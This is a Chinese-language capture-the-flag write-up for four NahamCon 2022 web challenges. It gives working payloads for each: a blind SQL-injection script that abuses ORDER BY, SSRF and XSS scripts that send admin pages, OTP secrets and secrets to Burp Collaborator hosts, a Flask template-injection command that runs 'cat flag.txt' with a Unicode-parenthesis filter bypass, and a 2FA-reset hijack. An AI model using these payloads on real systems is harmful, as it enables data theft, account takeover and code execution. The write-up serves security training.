NahamCon CTF 2022

NahamCon CTF 2022,第1张

目录
  • Flask Metal Alchemist
  • Hacker Ts
  • Deafcon
  • Two For One
  • 参考:

Flask Metal Alchemist

没有回显,没有报错,只有金属元素的排序,那么我们是否可以通过判断金属元素的排序是否正确来进行布尔盲注。

从app.py中可以看出有两个功能,search和order,且它只过滤了金属名字,并没有过滤order名字。

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        search = ""
        order = None
        if "search" in request.form:
            search = request.form["search"]
        if "order" in request.form:
            order = request.form["order"]
        if order is None:
            metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
        else:
            metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
        return render_template("home.html", metals=metals)
    else:
        metals = Metal.query.all()
        return render_template("home.html", metals=metals)

database.py,正在使用sqlite数据库。

from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base

engine = create_engine("sqlite:tmp/test.db")
db_session = scoped_session(
    sessionmaker(autocommit=False, autoflush=False, bind=engine)
)
Base = declarative_base()
Base.query = db_session.query_property()


def init_db():
    Base.metadata.create_all(bind=engine)

models.py中有两个,一个是metal,还有一个flag表,

from database import Base
from sqlalchemy import Column, Integer, String


class Metal(Base):
    __tablename__ = "metals"
    atomic_number = Column(Integer, primary_key=True)
    symbol = Column(String(3), unique=True, nullable=False)
    name = Column(String(40), unique=True, nullable=False)

    def __init__(self, atomic_number=None, symbol=None, name=None):
        self.atomic_number = atomic_number
        self.symbol = symbol
        self.name = name


class Flag(Base):
    __tablename__ = "flag"
    flag = Column(String(40), primary_key=True)

    def __init__(self, flag=None):
        self.flag = flag

真正要关注的是app.py中的,只对search进行了保护,但是没有对order_by保护,那么我们可以通过排列顺序来进行盲注。

metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
from requests import post
from string import ascii_lowercase

URL = 'http://challenge.nahamcon.com:32693/'
ALPHABET = ascii_lowercase + '{}_'
INJECTION = "CASE WHEN (SELECT SUBSTR(flag,{},1) FROM flag)='{}' THEN atomic_number ELSE symbol END"
#类似于if else,如果flag匹配到,则把顺序换为原子序数.

flag = ''
index = 1
while True:
    for char in ALPHABET:
        response = post(URL, data={ 'search': '', 'order': INJECTION.format(index, char) })
        # 第一个原子符号出现在响应的索引 74 上(由换行符分割)。
        # 如果是 Li(原子序数为 3),那么我们按原子序数排序。
        first_atomic_symbol = response.text.split('\n')[74]
        if 'Li' in first_atomic_symbol:
            flag += char
            index += 1
            break
    print(flag)
    if flag[-1] == '}':
        break

Hacker Ts

我们输入的东西都会在衬衫上显示,那么输入一些标签呢。

例如输出如下标签,则会在衬衫上显示文本
<span>sspan>


且题目有个/admin页面,提示我们要以本地页面访问这个页面。

当输入,报错还告诉我们了处理的方法为wkhtmltoimage,它是专门将 HTML 呈现为 PDF/图像的工具。


还有一种AJAX代表“异步 JavaScript 和 XML”,是一种技术的名称,它允许网页在后台发出请求,而不会干扰当前页面的显示。在 JavaScript 中,可以使用XMLHttpRequest对象发出异步请求,并且实际上有能力处理响应文本本身。(有点像 Python 请求的处理方式)。

<div id='stuff'>a</div>
<script>
	x = new XMLHttpRequest(); 
	x.open('GET','http://localhost:5000/admin',false); 
	x.send(); 
	document.getElementById('stuff').innerHTML= x.responseText; 
</script>


也可以通过Burp Collaborator来获取内容

<script> 	x = new XMLHttpRequest();  	x.open('GET','http://localhost:5000/admin',false);  	x.send(); y = new XMLHttpRequest();  	y.open('GET', 'http://xjkad81ctlz6dyxen1icn1yt3k9ex3.burpcollaborator.net/request?q=' + btoa(x.responseText));  	y.send(); </script>

再base64解码一下。

Deafcon

当我们输入

jack
{{1+1}}@gamil.com

可以发现是模板注入。

在测试测试看是哪个模板,可以看到是flask模板。

jack
"{{g.pop}}"@gamil.com

用hackbar自带的flask-ssti链子看能不能rce

jack
"{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat flag.txt').read()}}"@gamil.com

它提示在电子邮件中不能有(和),还说允许在正则表达式中验证电子邮件,

这边看了其他大佬的wp,学到了一种新姿势,用high-unicode绕过,且仅当 @ 左侧的部分被双引号包围时,电子邮件语法检查器才允许某些字符。

jack
"{{g.pop.__globals__.__builtins__['__import__']﹙'os'﹚.popen﹙'cat flag.txt'﹚.read﹙﹚}}"@gamil.com

Two For One

先注册一个账户,然后用Google Authenticator,扫二维码,这个类似于密钥,不过这个是实时刷新的。

使用 Burp Collaborator 确认在feedback处存在XSS 错误:

<script>
document.location="http://i4nbpco2qfhyjfasips75ju9o0uvik.burpcollaborator.net";
</script>

存在xss

创建新的秘密,可以看到是从id=3的位置开始的,那么flag因该就是在1号或者二号位置上。

那么现在就是要用管理员的otp来访问1、2号位置的秘密。
在setting位置有重置otp的功能,那么我们可以通过xss来重置管理员的otp。

且这边的2fa是需要我们自己扫码的,那么我们可以劫持令牌,发送到我们的服务器上。

<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
  document.location="http://9oy2938ta61p36uj2gcypae08ren2c.burpcollaborator.net?otp="+this.responseText;
}
xhttp.open("POST", "http://challenge.nahamcon.com:31423/reset2fa");
xhttp.send();
</script>

可以看到一串json格式的代码,通过otpauth来生成二维码来重置。

qrencode 'otpauth://totp/Fort%20Knox:admin?secret=FYLRNM4LOZBXO66S' -o qr.png

用authenticator扫码登录

<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
  document.location="http://9oy2938ta61p36uj2gcypae08ren2c.burpcollaborator.net?flag="+this.responseText;
}
var json = {"otp":"209405","secretId":"1"};
xhttp.open("POST", "http://challenge.nahamcon.com:31423/show_secret");
xhttp.setRequestHeader('Content-Type', 'application/json');
xhttp.send(JSON.stringify(json));
</script>

得到flag

参考:

wp1
wp2
wp3
wp4

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/793324.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-06
下一篇 2022-05-06

发表评论

登录后才能评论

评论列表(0条)

保存